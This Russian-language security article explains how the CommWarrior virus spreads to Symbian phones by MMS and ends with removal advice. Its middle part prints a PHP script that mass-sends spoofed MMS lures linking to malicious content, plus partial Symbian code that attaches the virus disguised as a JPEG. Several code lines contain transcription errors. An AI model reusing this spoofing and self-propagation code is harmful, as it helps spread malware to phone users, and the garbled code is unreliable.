вирус в MMS-собщении

Использование популярного особенно среди молодежи MMS-сервиса таит в себе немало опасностей, о которых большинство пользователей, к сожалению, не подозревает.

В один прекрасный день вы можете получить MMS-сообщение или от вашего знакомого, или с неизвестного вам телефонного номера, или даже якобы от вашего сотового оператора. Откроете его и заразите свой телефон вирусом. В тексте зараженных MMS-сообщений может содержаться информация о том, что в приложении к нему находится бесплатная игра от вашего сотового оператора, новый рингтон от друга или архив с фотографиями от вашей дочери. Все это будет убеждать вас в необходимости скачать, установить или сохранить на карте памяти то, что было прислано в сообщении. Иногда в MMS-сообщении может находиться ссылка на какое-либо приложение или какой-то архив в Интернете.

MMS-сообщение, которое вы откроете на своем мобильном телефоне, не только может заразить ваш аппарат вирусом, но и разослать зараженные сообщения на номера телефонов из вашей записной книги.

Опаснее всего то, что когда ваш телефон будет заражен подобным образом, он сам станет атаковать абонентов мобильной связи из вашего списка контактов. То есть ваши друзья, знакомые или коллеги будут получать от вас MMS-сообщения с вирусом. В свою очередь пораженные сотовые телефоны ваших коллег начнут атаковать телефонные номера из своих адресных книг. Подобный процесс будет иметь лавинный характер и, в конечном итоге, может привести к массовым заражениям мобильных устройств.

В настоящее время подобные сценарии не очень распространены из-за того, что популярность MMS-сервисов недостаточно высока, а мобильный Интернет стоит дорого. Далеко не каждый пользователь станет закачивать себе на сотовый телефон прикрепленную программу или архив, предпочитая сделать это дома на стационарном компьютере, где это будет более экономично.

Тем не менее, в условиях падения цен на мобильный Интернет, появления безлимитных тарифов, популяризации MMS-сервиса, а также при соответствующем развитии вирусных технологий, подобные сценарии в будущем могут стать вполне реальными.

MMS (Multimedia Messaging Service) — это сервис передачи сообщений, который обеспечивает автоматическую мгновенную передачу личных мультимедийных сообщений на телефонный номер или на адрес электронной почты. Эта технология кардинально изменила набор услуг, которыми может пользоваться абонент при передаче сообщений. Однако с появлением новых возможностей появились и новые уязвимости.

Так как технология MMS позволяет передавать вместе с сообщением файл приложения, то этим механизмом тут же воспользовались вирусы для своего распространения. В данный момент уже существует подобный вирус. Он носит название CommWarrior. Вредоносная программа поражает телефоны Nokia серии 60 на базе операционной системы Symbian. Действия вируса примитивны и характерны для его аналогов на компьютере: вредоносный код передается на мобильное устройство в виде входящего MMS-сообщения с вложенным медиа-файлом — картинкой, аудио- или видеозаписью.

Внутри самого сообщения находится текст (всего выявлено 20 различных вариантов), который всячески побуждает абонента сотовой связи открыть вложенный файл. О том, как устроен сам вирус, будет рассказано позже, а пока рассмотрим, как злоумышленник может целенаправленно атаковать интересующий его мобильный телефон с помощью MMS. PHP-скрипт, представленный ниже, осуществляет запрос на отправку MMS-сообщения через коммерческий SMS-шлюз по протоколу http/https.

1 <?
2 $user=»user»;
3 $password=»password»;
4 $api_id=»xxx»;
5 $text=urlencode(«Бесплатная игра от MegaPone, скачай и играй!»);
6 $to=»79035555555″;
7 $from=»MegaPone»;
8 $mms__url=»http://somesmscenter.ru/game.mms»;
9 $ret= file («http://smscenter.com/auth?user=$user&password=$password&apijd=$apijd»);
10 if ($ret ==»OK»){
11 for ($1=0; $i<100; $i++)
12 {
13 $ret= file («http://smscenter.com/sendmsg?to=$to8rtext=$text»);
414 if ($ret == «OK») echo «Success. Message was sent»;
15 }
16 }
17 else echo «Error. Message was not sent»;

Для злоумышленника передача сообщения через SMS-шлюз является предпочтительной тем, что он может указать в качестве отправителя номер, которому доверяет атакуемый, а в поле текста — сообщение, которое может побудить жертву открыть вложение. В параметре $mms_url он устанавливает адрес вредоносного содержимого, расположенного в Интернете. В параметре $from указывается номер абонента, а в поле $text — сам текст.

MMS-сообщения вируса Commwarrior содержат текст, побуждающий открыть сообщение, и файл commw.sis. Расширение прикрепленного файла SIS указывает на то, что файл является исполняемым для платформы Symbian — самой распространенной операционной системы для мобильных устройств в настоящее время.

Последняя версия вируса Commwarrior рассылает жертвам MMS со следующими сообщениями:

Заголовок: 3DNow!
Сообщение: 3DGame from me. It is FREE !

Заголовок: MatrixRemover
Сообщение: Matrix has you. Remove matrix!

Заголовок: Nokia ringtoner
Сообщение: Nokia RingtoneManager for all models.

После того, как содержащий Commwarrior SIS файл будет установлен, выполняемые файлы будут помещены в папку:

\system\apps\CommWarrior\commwarrior.exe
\system\apps\CommWarrior\commrec.mdl

При выполнении commwarrior.exe вирус копируется в папки

\system\updates\commrec.mdl
\system\updates\commwarrior.exe
\system\updates\commw.sis

После создания файла \system\updates\commw.sis вирус приступает к рассылке MMS-сообщений.

Рассмотрим некоторые детали механизма заражения с помощью MMS-сообщений. Приведенные отрывки программного «тела» вируса являются неполными из соображений безопасности, а сам разбираемый код относится лишь к отправке MMS-сообщений и никак не связан с вредоносной нагрузкой вируса.

Итак, сначала вирус создает сессию для работы с центром сообщений. Делается это с помощью следующего оператора.

iSession = CMsvSession::OpenAsyncL(*this);

Полученный идентификатор сессии используется для создания клиента, который будет обращаться к центру сообщений. Такой клиент создается следующим образом.

iMtmReg = CCIientMtmRegistry::NewL(*iSession);

Так как работа с центром сообщений ведется только для отправки MMS-сообщений, то необходимо выполнить преобразование созданного клиента в MMS-клиент.

iMmsMtm =mstatic_cast<CMmsClientMtm*>
(iMtmReg->NewMtmL (KUidMsgTypeMultimedia));

После того, как необходимая предварительная работа выполнена, вирус переходит к созданию самого MMS-сообщения. Для этого необходимо, во-первых, указать, что сообщение создается в каталоге «Черновики» мобильного телефона. Делается это следующим образом.

iMmsMtm->SwitchCurrentEntryL(KMsvDraftEntryld);

Метод SwitchCurrentEntryL, вызываемый с параметром Kmsv-DraftEntryld, показывает, что текущим местом создания как раз выбирается каталог «Drafts», то есть как раз каталог «Черновики». После того, как каталог определен, создается MMS-сообщение с параметрами «по умолчанию». Делается это с помощью следующего вызова:

iMmsMtm->CreateMessageL(iMmsMtm->DefaultServiceL())

Далее надо инициализировать основные поля сообщения MMS. Для этого с помощью макроса _LIT инициализируются основные переменные. В операционной системе Symbian макрос JLIT создает переменные. Таким образом, с его помощью определяются следующие переменные:

_LIT(KSamsNumber, «07738123456»);
_LIT(KSamsAlias, «Sam»);
_LIT(KPetesNumber, «07812654321»);
_LIT(KMessageSubject, «Nokia ringtoner»);

Переменные могут носить произвольные имена. В приведенном примере в переменной KSamsNumber хранится номер атакуемого абонента, а в создаваемой переменной KSamsAlias хранится его имя, указанное в записной книжке. В переменную KPetesNumber вписывается номер отправителя, а в созданную переменную KMessageSubject записывается тема сообщения. После того как все переменные сформированы, осуществляется инициализация полей уже созданного MMS-сообщения. Делается это с помощью методов AddAddresseeL и SetSubjectL. Первому методу передается параметр EmsvRecipientTo, который определяет поле отправителя. Параметр EmsvRecipientCc инициализирует поле получателя.

iMmsMtm->AddAddresseeL(EMsvRecipientTo, KSamsNumber, KSamsAlias);
iMmsMtm->AddAddresseeL(EMsvRecipientCc, KPetesNumber);
iMmsMtm->SetSubjectL(KMessageSubject);

Далее идет основной процесс — прикрепление приложения.

Для этого сначала создается переменная с именем прикрепляемого к сообщению файла. В рассматриваемом случае в MMS отправляется сам вирус. Поэтому в качестве имени файла указывается имя вирусной программы.

_LIT(KFileName, «virus.sis»);

После того как переменная инициализирована, создается экземпляр класса TfileName, который описывает прикрепленное послание. С помощью метода Append созданного объекта attachmentFile инициализируются такие данные, как путь к файлу и имя самого файла.

TFileName attachmentFile(KPhoneRootPath);
attachmentFile.Append(KDirPictures);
attachmentFile. Append(KFileName);

После совершения этих действий вирус создает и описывает служебную информацию по типам прикрепленных файлов. Обычно вирус намеренно указывает неверный тип прикрепленного файла (mime-тип), например, JPG, чтобы пользователь не заподозрил атаку при передаче ему файла по MMS. Определяются mime типы с помощью следующего программного кода.

CMsvMimeHeaders* mimeHeaders = CMsvMimeHeaders::NewL();
CleanupStack::PushL(mimeHeaders);
mimeHeaders->
SetSuggestedFilenameL(KFileName);
_UT8(KMimeType, «image/jpeg»);
TBufC8<10>
mimeType(KMimeType);

Далее инициализируются данные об отправляемом сообщении.

CMsvAttachment* attalnfo = CMsvAttachment::NewL(CMsvAttachment::EMsvFile);
CleanupStack::PushL(attalnfo);
_UT8(KMimeType, «image/jpeg»);
TBufC8<10> mimeType(KMimeType);

В приведенных выше строках описывается то, что к MMS-сообщению прикреплен только один файл. После того, как все необходимые приготовления выполнены, вызывается метод Create Attachment 2 L и MMS-сообщение создается.

iMmsMtm->CreateAttachment2L(
* store,
attachment,
mimeType,
*mimeHeaders,
attalnfo,
attachld);
CleanupStack::Pop(attalnfo);
CleanupStack::PopAndDestroy(mimeHeaders);

формирование сообщения завершается с помощью следующих программных строк.

store->CommitL();
attachment.Close();
CleanupStack::PopAndDestroy(attachment);
CleanupStack::PopAndDestroy(store);

Само сообщение сохраняется после полной подготовки с помощью метода SaveMessageL().

iMmsMtm->SaveMessageL();

Наконец отправка сообщения осуществляется следующим образом.

iMmsMtm->SendL();

Таким образом, вирус является самораспространяющимся. Описывать, как реализуется вредоносная часть вируса, которая пересылает ваши персональные данные с телефона, мы не будем по понятным причинам. Наша цель — предупредить пользователя о существующей опасности, а не научить злоумышленника создавать вирусы.

ЗАЩИТА ОТ АТАКИ

Для того чтобы обезопасить свой сотовый телефон, необходимо быть крайне аккуратным при получении MMS-сообщения. Помните, что прикрепленное к сообщению вложение вполне может оказаться вирусом. Именно поэтому далеко не всегда стоит принимать MMS-сообщения от незнакомых абонентов. Если же сообщение представляет для вас интерес, то стоит обязательно просканировать приложение антивирусным средством на предмет наличия вирусов.

Если вирус все же попал на ваше мобильное устройство, то возможность безболезненно от него избавиться все же существует. Вы можете лично удалить вредоносный файл, если знаете, где его найти. В случае, если вас атаковал неизвестный вирус, то придется потратить много времени, чтобы его обнаружить. При этом необходимо быть аккуратным, чтобы случайно не удалить системные файлы.

Для того чтобы самостоятельно удалить вирус Commwarrior, необходим менеджер файлов с возможностью просмотра системных каталогов. С помощью этого менеджера можно удалить из памяти мобильного телефона вирусную папку \system\apps\commwarrior, с находящимися в ней специальными файлами вируса commwarrior.exe и commrec. mdl. В каталоге \system\updates\commwarrior необходимо удалить ключевые вирусные файлы commwarrior.exe, commrec.mdl и commw.sis. В каталоге \system\recogs удалению подлежит файл commrec.mdl.